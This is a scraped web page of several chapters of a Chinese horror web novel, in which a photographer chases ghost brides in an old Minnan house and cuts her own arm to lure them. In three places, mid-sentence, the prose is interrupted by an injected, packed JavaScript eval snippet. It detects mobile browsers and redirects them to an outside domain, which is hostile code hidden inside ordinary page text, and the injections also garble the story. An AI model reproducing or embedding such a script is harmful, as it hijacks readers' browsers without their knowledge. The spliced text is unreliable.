因为除去那些血泪、伤痕和大面积的尸斑,记者证上这张照片,和那个新娘鬼的脸可谓是一模一样。 她们,俨然是同一个人。 “啊啊啊啊啊!!!” 新娘鬼爆发出凄厉的尖叫。 仿佛从噩梦中惊醒一般,新娘鬼的表情从麻木变成痛苦。她倒在地上,痉挛蜷缩,显然是认出了证件上的自己。 在这惨然的叫声中,新娘鬼的身影消失不见。房间里刺眼的鲜红,也如潮水般唰然退去。 剩下的,只有一间略旧但干净的房间。 以及齐檎丹手上的记者证。 【恭喜您获得道具“穆青青的记者证”,已为您存入系统背包。】 【穆青青的记者证:既是穆青青珍视的物品,也是她成为记者的证明。因为曾被穆青青随身携带,上面留下了她的气息。】 【温馨提示:“穆青青的记者证”为高危角色通关奖励,暂无法使用,具体功能请等待副本通关后解锁。】 【恭喜您解锁剧情!奖励积分+100】 【当前剧情解锁进度:10%】 【由于这是您第一次解锁剧情,额外奖励积分+100】 解锁剧情?这是什么意思?齐檎丹看着弹出的系统提示,微微蹙眉。 是指这个副本里,之后会新多出一段新的剧情,又或者……这个解锁有探索的意思,而这里的剧情,指的是构成副本核心的那部分前尘往事?目前看来,好像后一种猜测更加可能一些。 但不管怎么说—— 这积分来得正是时候! 到手的积分还没捂热,便被齐檎丹全部换成了剩余生命值。 看着生命值从仅剩最后几秒,被瞬间扩充到好几个小时,齐檎丹长长地呼出一口气。这表示,她在接下来的这段时间里,不用为拍摄时间不足而操心了。 一有空闲时间,齐檎丹便立刻打开相机,开始回顾拍下的新娘鬼照片。由于是多角度、多景别的动态抓拍,拍的照片张数很多,她甚至多拍了个能当成拍摄花絮的视频,可供选择的空间不可谓不大。现在一翻,齐檎丹险些挑花了眼。 好在,“照鬼相机”这个技能,已经替她做好了选择。 其中一张照片好似被凭空打印。 飘飘悠悠地飞出相机。 齐檎丹伸手一抓,这照片竟像卡面一样,被她稳稳当当地拿在手里。 【恭喜获得S级照片“新娘鬼的挣扎”,已复刻鬼怪实力100%,使用时将照片抛出即可。】 这张照片,拍的是新娘鬼头朝下倒着,从房梁落到地面的一瞬间。铺天盖地的殷红背景下,新娘被繁复华美的嫁衣层层束缚,浸透满鲜血的长发却再也无法飞扬。她龇目欲裂,杀机尽显,扭曲的面目上又有血泪滴落。 似怨毒,似悲戚,更似欲摆脱将她剥削至此的命运。 那种矛盾的张力。 颇为吸睛。 齐檎丹美滋滋地欣赏着这张照片,足足欣赏了十多分钟。她越看越觉得欢喜,越看越心生满意,忍不住对着照片上亲了一口。 好看!不愧是她拍出来的作品! 这生命危险,冒得值! 许是这一口亲得太过清脆响亮,门外的脚步声都因此暂停了片刻。 齐檎丹眉梢一挑。 她将照片收进系统背包。 很快,敲门声便响了起来。门外那人的身形熟悉,样貌却让齐檎丹愣了半秒:“你是?” “怎么?我把嫁衣换了,鬼新娘妆卸了,你就不认得我了?”门外那人笑吟吟地撩了下卷发,任齐檎丹打量了她的衣着打扮一眼——显贵的财阀千金穿搭,高级面料,强设计感,颈间点缀着新款项链……从头到脚,一水儿全是高端品牌。 从这身昂贵的行头上,不难认出,此人正是梁安颜。 “姐是富婆”四个字,就差写在身上了。 “那倒没有,只是一时没反应过来。”齐檎丹侧身让梁安颜进门,嘴上却笑着不肯饶人:“对了,你怎么过来了?” “怎么不能来?”梁安颜微笑着抬起下巴,金尊玉贵的大小姐钻起规则的空子来,也钻得光明正大,毫不含糊,“那个陈老师只说我们要回房休息,没说我们在休息之前,不可以互相串门。所以,我想来就来,想走就走。” 说完这句话后,梁安颜稍微停顿了一下,欲言又止。 齐檎丹抬眼:“想问什么?” “进房间的时候,你有遇到麻烦吗?”梁安颜有意压低了嗓音。 从梁大小姐接下来的讲述中,齐檎丹知晓了她会这么问的原因。除了拿到高危身份的齐檎丹,其余考察员在进入房间的时候,也接二连三地遭遇了鬼怪袭击。 由于其他考察员的住处,都被安排得非常接近。因此,梁安颜目睹了整个过程。 “……那些人的血,溅得满窗都是。” 梁安颜轻声描述: “我来之前,向陈家的人打探到了一些情况。他们说法一致,都说这些新娘鬼的产生,是因为族长的第一任夫人死后鬼魂善妒,杀害了续弦的新娘,才使被她杀害的新娘们都成了厉鬼。” 厉鬼数量众多,只有小心谨慎,方能存活。 在副本里,生死是常态,梁安颜即便没被残酷的副本世界磨灭去善意,却也没有为这些生命的逝去,感到过分恐惧或悲伤。 考察员之间不是竞争,就是合作。梁安颜主动提供普通角色情况的行为,让齐檎丹意识到,这是一种主动释放的善意的行为,而副本里罕有无缘无故的好意——梁安逸分享线索的意图,无疑指向后者。 然而,她们只是摄影师和顾客的关系,由于之前的沟通都是在线上进行,今天才是她们第一次见面。齐檎丹不明白,梁安颜对她的信任从何而来。 “为什么找我?”齐檎丹默认了鬼怪来袭过,她直截了当地挑明疑问。 梁安颜抿了抿唇角,卷发垂在脸侧: “因为我不想死。” 依照有无攻击能力,考察员获取的个人专属技能,可以被简单粗暴地分为有攻击能力的攻击型,和无攻击能力的辅助型。 而她运气不好,开出的专属技能是辅助类型。 辅助类技能相当于先天不足,虽然各有作用,却因为缺乏攻击性,颇显鸡肋。当与鬼怪正面相遇时,凭借这类技能,最多只能勉强保命。 这意味着,梁安颜在过副本的时候,不得不与他人结盟。 要是在正常社会中,梁安颜贵为梁氏集团的大小姐,即便雇佣一大群专业保镖来保驾护航,也毫不费力。然而,副本世界里的金钱如同粪土,不值一提,梁大小姐也只能通过交换线索与人结盟。 在这个副本里,梁安颜除了齐檎丹,一个人都不认识。齐檎丹又是高危身份,与普通身份的其他考察员存在信息差,这种信息差,梁安颜恰好能够弥补。 而且,由齐檎丹敢于另辟蹊径地选择高危身份,并能独自解决鬼怪来袭的危机可见,齐檎丹就算没有攻击技能,也有不错的自保能力。 这正是梁安颜需要的。 这种双向需求的关系,使她们两人的结盟合作成为可能。因此,齐檎丹会是她最好的选择。 “但你应该知道,你不是我唯一能选择的对象。因为高危身份只有一个,而普通身份的考察员有很多,我找谁结盟都可以。”齐檎丹饶有兴味地偏过头,没有将结盟的事情立刻定死,却也没有拒绝。 齐檎丹左耳后有一缕浆果红的挂耳染,平时藏在黑发里,当她歪头看向梁安颜时,那抹浆果红便露了出来,冶艳扎眼。 这样子,像是要向梁安颜确认价值的前奏。结盟应该还能谈。 梁安颜等着她的提问。 “这是你过的第几个副本?”齐檎丹问。 灯光昏暗,齐檎丹单手托腮。房内地砖的反光,将齐檎丹的瞳眸染得微微发红。 不可否认,齐檎丹有着一双剔透的杏眼。 这眼眸的质感如同坚硬的水果糖,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831146|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来色彩鲜艳,酸甜可口。但要是有谁真敢对这颗糖下口,不是会被这堪称恐怖的硬度硌掉牙,就是被糖壳飞迸的锋利碎片炸开口腔,连舌头都被割成一条千疮百孔的烂抹布。 齐檎丹那股尖锐的疯劲,深埋在骨髓里,藏在糖衣下。 却疯得有种蛊惑人心的魔力。 以往,齐檎丹这样太有疯劲的人,梁安颜本不会相信。她想要活着出副本,最好的结盟对象应该是个踏实求稳。 齐檎丹绝不是一个求稳的人。可不知怎么的,她那双通透的眼睛,却莫名令梁安颜感到心安:“别提了,这才第16个。” 梁安颜不知不觉说了真话。 “我的专属技能几乎没有攻击性,之前我都会和固定队友一起下副本。他们保护我的安全,我也能用辅助技能,帮他们完成计划。但这次进副本时,发生了一些意外,我没来得及和队友绑定。”梁安颜深谙真诚的价值,于是坦言相告: “进副本前我没想到,我被匹配到的,会是困难级的。据我所知,困难级别的副本,一般只有通过二十几个副本的老玩家才会进。在这里,我的实力怕是最弱的了。” 齐檎丹:“……” 不,还有人比梁安颜更弱。 那就是坐在梁安颜面前,正被梁安颜试图拉拢的齐檎丹本人。 她算是知道,为什么她进了C级的困难副本之后,直播间里那些观众会预设她很快死掉了。因为这困难副本,对新人来说,无异于送命。 “在?回答一下,为什么我第一次就进了困难副本?”齐檎丹在心中对考察系统冷冷质问。奈何原本有问必答的系统,这次好似下定了决心装死,任她怎么叫,都不肯出现。 有时候,不回答也是一种答案。 齐檎丹沉下面色。 她当即料定,她被考察系统针对了。这针对,明显得不能再明显。 无视循序渐进的规律,将毫无自保能力的新人,往高死亡率的困难副本里丢。那新人,极大概率只有死路一条。 除非,她能从其中杀出一条血路。 梁安颜不知晓齐檎丹进副本的真实次数,因而将她凝重的面色,误认为是对自己能力的不满。梁安颜主动展示自身优势: “我的记忆力比较好,看过的知识都能记住。你也知道,我们梁氏集团的主要业务范畴是服装行业,所以特别是与服装、布料、纹饰相关的知识,我能倒背如流。在知道副本世界与民俗相关后,我也加强了民俗资料的阅读。” 说梁安颜是个行走人形资料库,毫不为过。 在这个民俗文化紧密相关的副本世界,对民俗知识的了解异常重要。必要时刻,甚至能够救命。 有梁安颜这样一个资料库在身边,只有好处,没有坏处。 齐檎丹迅速盘算了一下。 这是她第一次进副本,单兵作战对她不利,她确实需要帮手。 而像梁安颜这样一个贵为千金大小姐,却没有架子,头脑清醒识时务,有一定进副本经验,还能给她提供充足的资料帮助的人,的确是个非常不错的结盟对象。 最终,齐檎丹认可了这种临时合作的形成:“你来得正好,我这边刚好拿到了一些线索,值得一起分析。” 为表诚意,齐檎丹从她的系统背包里,取出了她拍摄新娘鬼获取的照片道具,和穆青青的记者证,将两样一起摆放在桌上,展示给梁安颜。 即便道具“穆青青的记者证”暂时没法使用,仅仅这两样物品,也已经承载了足够多可供分析的线索。 “开门的时候,我不仅也遇到鬼了,我遇到的,还是这个新娘鬼。”齐檎丹说着,指尖在照片上点了点。她这次注意到的,不是整体的构图和恐怖美感,而是穆青青身上的细节: “学特效妆的时候,我在妆效上为了模仿伤痕和尸体,学了点简单的尸体变化知识。” 穆青青身上,最明显的特征有两个。 一是尸斑,二是伤痕。 “从照片上可以看到,尸斑是很浅的淡红色,不明显,说明她可能死于急性大失血。此外,这些尸斑集中在身体上半部分,穆青青手脚上的伤口,也有肌肉收缩的生活反应。综合这些表现看,她是先被打断了手脚,再被倒吊起来,活活放血到死的。” 这不止是普通的杀害,这是虐杀。 惨无人道的虐杀! 5. 古厝诡婚5 穆青青手脚的伤痕,全是由利器造成。皮肉被破开,断裂的骨骼和血管刺出肌肤,哪怕呈现在照片上,依旧极为凄惨狰狞。 能将这场虐杀付诸实际的,不是鬼。 而是住在古厝里的人。 生活在这副本里的活人,竟比鬼怪还可怕! “连这种事都干得出来,简直是灭绝人性。”梁安颜眼底闪过一丝压抑的怒意,她说完后,余光凑巧瞥见了记者证上的年份,“这记者证居然是去年的。穆青青去年才考到记者证,那她死的时间岂不是……” 哪怕穆青青是考完记者证后,就立刻嫁过来,被凌虐致死,到现在也才一年不到。 寒意,在梁安颜的后颈炸开。 凛冽入骨。 梁安颜仔仔细细地,将她进副本后的所见,在脑海里走马灯似的放映了一轮。 “我知道了。”梁安颜的神情忽然了然,她低声喃喃,“我知道为什么我总觉得,这场婚礼很奇怪了。问题出在这个地方。” 她迈出房间,示意齐檎丹抬眸。 在这个房间的门楣上,挂着一幅不寻常的图样。 那图样乃刺绣而成,格外精美。以喜庆的大红打底,融金银细线入彩线之中,一针针出八仙过海的吉祥图案。栩栩如生的八位仙人脚下,还装饰有海蚌、螃蟹等海洋生物,别具闽南沿海的地域特色。 “这种图案,是闽南特有的‘水八仙’,这类八仙图统称‘八仙彩’。可它,本不该挂在这里。”梁安颜作为梁氏集团的接班人,在任何与服装相关的方面都格外上心,因而对各类图纹知识了如指掌。 可此刻,面对这幅“八仙彩”,她却越看越觉得心惊。 八仙过海,本是祥瑞。 然而,经过风吹雨淋,这刺绣早已面目全非。 红布褪色发白,惨淡地在风里招摇,似灵堂高悬的缟素,又似一张苍白扭曲的鬼面。霉斑与蛀孔,在画上更是随处可见。 画中仙人的慈眉善目,被霉斑侵蚀成狰狞怒目。 形同鬼魅。 “‘八仙彩’一般挂在古厝大门上,而非房门,作用是增添喜气和驱邪化煞,使用的场合也比较固定。”梁安颜面色凝重:“我原本以为,这幅‘八仙彩’可能是在嫁女或祝寿前后挂的,可如果这样,‘八仙彩’不该被挂这么久。再说了,七月乃是鬼月,不是个适宜嫁娶的月份。” 能让这家人忌惮到,连“八仙彩”毁坏至此都不敢取下的,只有可能是另一种情况—— 他们挂“八仙彩”,是为了辟邪。 所避邪祟,正是屋内穆青青化作的新娘鬼。 “穆青青是死在这个房间里的,死在新婚那晚。”齐檎丹结合那个记者证,不难得出答案,“被抓走前,穆青青最后站立的位置,应该是衣柜那边。所以,记者证被她藏在衣柜后的墙缝里。” 但穆青青为什么要藏记者证?她不希望陈家人,发现她是记者? 新婚之夜,她又为何带着记者证出嫁? “古厝里的新娘鬼,都是在新婚夜惨死变成的,这些婚礼全是陷阱。”梁大小姐隐隐感到忧心,“我在想,考察系统会不会让我们找到明天结婚的那个新娘,告诉她这件事情?她大概是被蒙在鼓里了,要不然谁愿意当这个嫁来找死的倒霉蛋。” “……不用找了。”齐檎丹默然半晌,坦诚相告: “因为我就是。” 那个要嫁的倒霉蛋,近在眼前。 梁安颜震惊地扭头,看向齐檎丹,本来想说的话语倏地卡在喉间。 刚结盟成功,临时队友就要送死。 她现在反悔来得及吗? “首先声明,不是我自愿的,是被陈老师挑中的。”齐檎丹苦笑着解释:“这个陈氏族长,应该不是第一次娶妻。他之前娶的那些妻子,大概率都已经死于非命了。放血这个死法,感觉像是某种宗教献祭仪式。” 拿新婚妻子献祭,怪不得这个族长以正常方式,找不到愿意嫁进门的人,只能编造消息,骗他们考察团过来。 嫁来就死,谁愿意啊。 见梁安颜望向她的目光里,怜悯的含量瞬间飙升,齐檎丹不禁笑了笑:“我可怜?我倒是觉得,这样挺好的啊。身份危险,说明能遇到的鬼怪会很多。我很喜欢。” 梁安颜:“???” 齐檎丹:“把鬼怪当模特,不要钱。” 梁安颜的沉默震耳欲聋。她过了这么多考察副本,巴不得见鬼的,齐檎丹还是头一个。 “……你清醒一点。鬼怪是不要钱,但是它们要命啊。”梁大小姐突然感到一阵心悸。要钱,要画面效果,但是不要命,她这个临时结盟的新队友脑子里,到底是为了拍照进了多少水? 好端端的一个人,怎么会一碰到拍照,就疯得不管不顾呢。 难道热爱使人发疯? 她不理解。 可齐檎丹的大脑依然清醒,她甚至还能够分析:“如果陈家娶亲,仅仅是为了杀人献祭,新娘鬼或许是这里最主要的鬼怪。我的房间是关押记者穆青青的婚房,所以我遇到了她,你们的房间应该也是。” 从“八仙彩”和引路人的表现上看,连陈家自家人,都对这些闹鬼的婚房怕得要命。 既然如此,陈家为什么让人住在那里? 希望新娘鬼杀死他们? 显然不是。 因为这样对陈家没有好处。别说考察团的其他人了,假使齐檎丹这个被选中的新娘死了,明天谁来当新娘成亲? “在所有的客房中,我的客房应该是最安全的。穆青青最晚死,新死的鬼道行最浅,只是听起来可怕些。”齐檎丹的剖析有理有据,末了她抵着额头,幽幽地瞟了梁安颜一眼,有点羡慕: “唉,还是得去一趟你们那里。” 要是一开始分配客房的时候,就分配到他们那边就好了。要是那样,她齐檎丹就不用绞尽脑汁想办法过去了。 梁安颜后知后觉:“等等,你分析哪里有鬼,难道不是为了避开鬼怪吗?” “当然不是啊。你怎么会这么想?”齐檎丹矢口否认,她的右手食指在相机上轻轻敲着,眼底的兴奋无比闪耀:“我进副本的目的,从始至终只有一个,那就是——” “捉鬼来拍照。” 梁安颜无话可说:“……” 疯了,真的是疯了。 她当时,为什么会莫名其妙地觉得齐檎丹是最合适的结盟对象?这个副本,她还能活着通关吗? “对了,你换下来的嫁衣还在吗?要是之后不穿了,能不能先还给我?”梁安颜临走前,齐檎丹忽然叫住她。 梁安颜很爽快地答应了下来。 这身嫁衣,本就是齐檎丹为了拍摄提供的,现在要她还回去无可厚非。再说了,梁大小姐别墅衣帽间里的最新款服装,多到数都数不清,这件血嫁衣根本排不上号。 血嫁衣不仅在副本里毫无用武之地,还会让其他考察员弄混她和鬼怪。 简直是废物一件。 梁安颜从系统背包里取出嫁衣,向齐檎丹递去。 这嫁衣整体的材质,与穆青青的很是相似。绯色恣肆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831147|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如火,火星子一般烫进眼里。面对这件毫无用处的衣服,齐檎丹却笑得满意。 她接过嫁衣,指尖漫不经心地掸过布料:“很快,这嫁衣就会发挥作用的。我保证。” . 保证归保证,虽然齐檎丹说了“很快”,但其实她自己并不清楚,这个“很快”指的,究竟是多久。 她倒在床上等来等去,也没能等到一个鬼。 人倒是快被无聊疯了。 难道这房间里,真就穆青青一个鬼吗?没有其他鬼能拍?齐檎丹百无聊赖地翻了个身,浑身提不起劲来。房间里潮湿昏暗,她感觉,自己正在一点点发霉。 为了缓解无聊,齐檎丹将直播弹幕放了出来,念着解闷。 “问我害不害怕?当然不怕。要不然我现在就该缩在被窝里,瑟瑟发抖了。” “好奇那件嫁衣有什么用?我可不傻,现在说出来就没意思了。不过你们可以猜猜……” 齐檎丹刚念了没两条,就打了个哈欠。明明时间还早,晕眩感已沉沉压上她眼皮。 奇怪,念弹幕难道这么催眠? 齐檎丹诧异。 紧接着,她猛地打了个激灵。因为齐檎丹突然意识到,这个点距离她长期以来习惯的睡眠时间,还远远不到。现在犯困,是绝不正常的。 而事出反常,必然有鬼。 太好了! 总算把鬼盼来了! 齐檎丹立刻振奋精神。她关上灯,动作利索地钻进被窝里,闭起双眼假装入睡。没过多久,她便听到了从门外传来的响动。 似乎有金属在地面上拖行,发出刺耳的摩擦声,沉闷地在走廊中回荡。 紧接着,那拖行声消失了。 一股浓烈得令人作呕的海腥味,猝不及防地袭来。 那味道,用臭气熏天来形容毫不为过。仿佛将人塞进由海洋生物堆成的尸山,整个鼻腔都充塞满恶心的酸腐味。顿时,齐檎丹胃里一阵翻江倒海,险些干呕出声。 她及时捂住嘴,睁眼看去。 半掩着的房间窗前,不知何时竟多了一个女鬼。 女鬼浑身湿透,身穿的红衣“滴滴答答”地滴水,整个人如同刚被从海里打捞上来的浮尸,浮肿的皮肤在月光下微微发绿。齐檎丹严重怀疑,要不是那条将她全身缠绕的铁链,这张泡烂了的表皮,随时有可能脱离身躯,当场掉落。 好好好,又遇到一个新的鬼。 齐檎丹被调动起了拍照的冲动,她不由自主地屏住呼吸,下意识去摸手边的相机。 就在垂眸拿相机的那一瞬间,齐檎丹突然察觉到,从女鬼红衣上滴下来的水,似乎比起寻常的清水,更加黏腻鲜红,气味也有些不同寻常。 她动作微滞,定睛一看—— 那哪里是红衣啊!分明是一件彻彻底底的血衣! 那颜色足可媲美嫁衣的殷红,一寸寸,尽是取大量的血液染成,浓艳得令人心颤。而女鬼所穿的,原本只是件闽南地区妇女穿着的传统服装。宽大的黑色裤腿浸满了血,两条鱼尾一样拖曳在地上。 所过之处,留下条条血痕。 而这些血痕的始作俑者,显然不满足于只站在窗外窥视。 转瞬间,血衣女鬼一手已搭上房间门,将细长的指甲伸进锁孔里,熟稔地调整角度旋转。 “咔哒——” 齐檎丹的房门应声而开。 门楣上这幅驱邪消灾的“八仙彩”,拦得住新死的穆青青,却拦不住更厉害的血衣女鬼。 这会儿,血衣女鬼就要进来了。 6. 古厝诡婚6 瞧这架势,血衣女鬼明显进来过好多次了,这一次,也是轻车熟路。 齐檎丹见那房门打开以后,非但没有害怕,反而弯起嘴角,在心里小小地惊喜了一下。 进门好啊。 进门,她就有送上门的模特拍了。 齐檎丹当即动身下床,以最快速度找好机位,侧对着房门架起相机,只等外头的血衣女鬼推门进来,便能立马开拍。 然而很快,齐檎丹充塞心房的期待,就落了空。女鬼撬开门后,只先将门推了一条小缝,仔细感受了一段时间,便突然停下动作。 不知是否因为察觉到了什么,她放弃这扇已被打开的门,转身离开。 这整个过程—— 她甚至,连头都没转过来。 连脸都看不见一点,这还拍什么啊?! 齐檎丹出离地愤怒了。 不行!好不容易盼来的鬼怪,不能让她就这么走了!齐檎丹真的很想拍她,特别特别想拍! 眼见着血衣女鬼的身影,离客房越来越远,不甘的情绪一股脑地从齐檎丹脑海里涌出。齐檎丹急需想出一个东西把女鬼留住,而自从进了这个副本,齐檎丹遇到过的鬼怪,只有穆青青化为的新娘鬼。 新娘鬼穆青青,是齐檎丹唯一能找到的突破口。她必须找到这两个鬼怪身上的共性。 女鬼快走掉了。 她的速度,必须要快! 齐檎丹闭上眼睛,竭力回顾起与新娘鬼的交锋。 交锋中,新娘鬼穆青青的关键攻击主要有两次。一次攻击的是齐檎丹手腕上的静脉,另一次则是齐檎丹的颈动脉。两次攻击位置差异颇大,后者能一击毙命,前者却未必。 但这两者,都是人体极重要的血管。 足可证明其本性嗜血。 齐檎丹瞳中一沉。不就是鲜血吗?她正好有,而且不介意提供出去。 齐檎丹拍照,一向是有条件要拍,没有条件创造条件,也要吸引鬼过来给她拍。齐檎丹的视线在房间里迅速逡巡了一番,很快锁定在了桌面摆放的茶具上。 她从茶具里抓起一个瓷杯,猛然摔碎在地。 “噼啪——”屋内巨响清脆。 女鬼脚步微顿。 接触到地面的一霎,茶杯四分五裂,碎瓷锋利如刀。齐檎丹从中拾起一片,随后抬起手臂,调转那瓷片尖端,朝另一手的皮肉狠狠划下。 “噗嗤——”瓷刀毫不留情地割开皮肤,直抵底下肌肉。 鲜血倏然涌出,小蛇一样缠绕着手臂,顺着手臂蜿蜒爬下。肤色冷白,鲜血猩红,无比强烈的视觉刺激猛然刺进眼里。新鲜血液的铁锈味,刹那间,顺着敞开的门迅速扩散开来。 齐檎丹强忍痛楚,嘴角却缓缓上扬。压抑在眼底的疯狂,被她自己的鲜血,浸染得深邃暴戾。 “回头啊。”齐檎丹微笑着,对女鬼发号施令: “你不是最喜欢血了吗?” 女鬼还没有从这几乎发疯的举动里反应过来,齐檎丹直播间里的观众们,却已经先疯为敬。 “我滴天,她可真敢啊。躲鬼的考察员不少,但主动吸引鬼的,我第一次见。” “她真的不怕被鬼吃掉吗?副本里的鬼怪最爱鲜血了,吃人都不吐骨头的。” “啊啊啊只有我一个人觉得,这样好疯好带感吗?吸引到女鬼没有我不知道,但吸引到我这个色.鬼了!” 弹幕里被热烈讨论的关注点,逐渐从她这极度冒险的操作,偏离到了某些奇怪的地方。但齐檎丹本人并不知情。 此时此刻,她所有注意力,正全部放在血衣女鬼那边。 血腥味已经浓重得快将人淹没,血衣女鬼不可能闻不到。然而,女鬼只站在原地,小幅度地偏了偏头,似乎在嗅闻确认着什么。 而后—— 女鬼加快脚步,马不停蹄地往外飘。 齐檎丹:“???” 不是吧?怎么跟她预想的不一样? 这女鬼居然讨厌血?!所以说,她的血刚刚白流了是吗?可恶! 见齐檎丹一通操作猛如虎,却喜提当场翻车,直播间里一时间沸腾起快活的气氛,“哈哈哈哈”的笑声满天乱飞。给齐檎丹气得,再次隐藏了弹幕。 看来,吸引女鬼过来是不可能的了。一计不成,齐檎丹再生一计。 既然女鬼不过来,那她就过去。 只要能冲到女鬼前面,便不怕看不到女鬼的脸。 为了避免受到古厝内的陈氏族人阻扰,齐檎丹换上了梁安颜带来的血嫁衣,打扮成新娘鬼的模样,又将道具“穆青青的记者证”带在身上,用记者证上沾染的鬼怪气息作为遮掩。 做完这一切以后,她毅然决然地拿起相机,冲出房门,朝着血衣女鬼离开的方向,奋起直追。 速度之快,令鬼闻之色变。 于是,深夜的红砖古厝里,多了这样一副诡异的奇景:血淋淋的新娘鬼,跟在同样血淋淋的女鬼身后,穷追不舍,活像女鬼生前欠了她八百吊钱没还。 弹幕:“……” 好离谱,好震撼。 别的考察员被鬼追得痛哭流涕,齐檎丹反过来追鬼,主打一个在死亡边缘强势蹦迪。也亏得族长这座古厝的体量,空前巨大,给了她们你捉我赶的空间。 弹幕的涌现停止了,空荡荡的直播屏幕上,观众们的沉默声震耳欲聋。 好好好,连鬼都不放过是吧。 他们这下算是见识到,摄影师为了拍到一张满意的照片,究竟能有多么无所不用其极了。 . 但只震惊观众没有用,该追不到的女鬼,齐檎丹还是追不到。 齐檎丹越追,越觉得憋闷。 这血衣女鬼浑身缚着沉重的铁链,移动的速度却居然不慢。而且齐檎丹追的速度有多快,她移动的速度就有多快,但一旦齐檎丹摆烂不追了,女鬼便即刻停下脚步等她。 简直就像,故意想搞她心态一样。 令人内心崩溃。 几番折腾下来,齐檎丹的耐心被消磨得所剩无几。然而,女鬼却已经拐进了前方的门后。齐檎丹叹了口气,只得最后一次跟了上去。 女鬼拐进的,是古厝里有点类似院落的构造——中间正上方,是由被称为“小深井”的长条天井,被门与墙分割后,得到的方形天井,天井下既有道路,又栽种了少量花木作为景观。天井旁边,则是一字排开的几个房间。 由于一时间找不到词汇形容,齐檎丹只能习惯性地拿“院落”来称呼它。 这间“院落”比其他的更冷清些,花草荒芜,从墙上砖缝里抽出的杂草,也比旁的地方更长几寸。齐檎丹跟进院里,却找不见女鬼的身影。 只有一块碎片躺在地上,孤孤零零。 那碎片,大概是某个小型神像的一部分,而且应当来自某位女神的神像。因为碎片朝外的那面,绘制着半张女子的容颜,眉如远山,唇似点赤。 在将其拾起时,碎片触发了齐檎丹系统的提示。 【恭喜您获得稀有道具“残缺的夫人妈碎片(1/5)”,已为您存入系统背包。】 【残缺的夫人妈碎片:夫人妈是许多闽南女神的泛称,而这碎片来自一座夫人妈塑像。可惜,由于碎片过分残缺,目前无法辨认出,这神像具体属于哪位女神。】 神像?这倒是跟祭祀仪式对上了。 齐檎丹眉心一跳。 陈家人以杀人放血的残忍方式,供奉着的,难不成就是这个女神? 齐檎丹若有所思。她拿着这块夫人妈神像碎片,在手上把玩察看,不曾想,却被碎片边缘挑破了刚凝固的血痂。被齐檎丹自己划破的伤口,因此再次裂开。 温热的鲜血猝然涌出,滴落在地。 顷刻间灿开血花。 血腥味弥散开的瞬间,一张张苍白贪婪的鬼面,争先恐后地从黑暗里涌现。 红盖头,血嫁衣,绣花鞋……新嫁娘装扮的鬼怪追寻着血腥,聚集而来,垂涎地紧盯着齐檎丹,如同一群嗜血的红尾食人鱼。齐檎丹数了数这些新娘鬼的数量,居然有数十个之多。 一双双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831148|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛,密密麻麻地挤在黑夜里。即便单看直播,都让人觉得头皮发麻。 对死亡本能的恐惧,刺穿了齐檎丹的脊髓。她环顾四周,瞳孔骤缩,心头另外一种情绪却飞快地盖过惧意—— 齐檎丹心头狂喜。 新娘鬼!好多好多的新娘鬼! 这意味着,这一次,她有更多的模特可供拍摄。 况且,由新娘鬼的数量和房门前的血迹可知,血衣女鬼竟是把她引到了,其他考察员被安排住下的客房那边。齐檎丹原本还在发愁,要怎么找到这个地方来呢,真是踏破铁鞋无觅处,得来全不费工夫。 周围静悄悄的,一片死寂。住在这里的考察员基本已经睡下,即便有醒着的,也不会愿意卷入这趟浑水。 古厝,深夜,鬼怪成群。 照片画面的恐怖元素直接拉满。 而且,这些新娘鬼的状态都比穆青青好些,手脚齐全,身着的嫁衣各不相同。 在这儿拍照,绝对好看! 齐檎丹故意将伤疤撕得更开,让鲜血流得更急,手指在相机上有一下没一下地敲着。周身的血腥气涌动得越发汹涌,她没有急于拍照,新娘鬼却已经蠢蠢欲动。 “血!我的血!快把我的血还给我……”伴随着一声不知是咆哮还是呜咽的低吼,新娘鬼一个接着一个,疯狂地扑了上来。 一场围猎,在夜幕下展开。 新娘鬼们的嘴角纷纷向左右两边裂开,一霎张到极致,被围猎的齐檎丹能够清晰地看见,她们的血盆大口中,镶嵌着无数细小锋利的尖牙。 那些牙多得恐怖。比起常人的牙齿,更像七鳃鳗,锋利程度堪比绞肉刀。以普通人的肉身,绝无可能硬抗下这种伤害。 “考察员还在等什么?快跑啊!” “不跑呆着等死吗?” 直播间里,希望齐檎丹能存活下来的那部分观众,不停地发弹幕催促着。 新娘鬼的数量多得攻击不完。在这种情况下,逃跑无疑是当前唯一的选择。 但,逃真的有用吗? 被打断手足的新娘鬼穆青青,移动速度已经足够惊人,何况这些完整的鬼。她能跑得过? 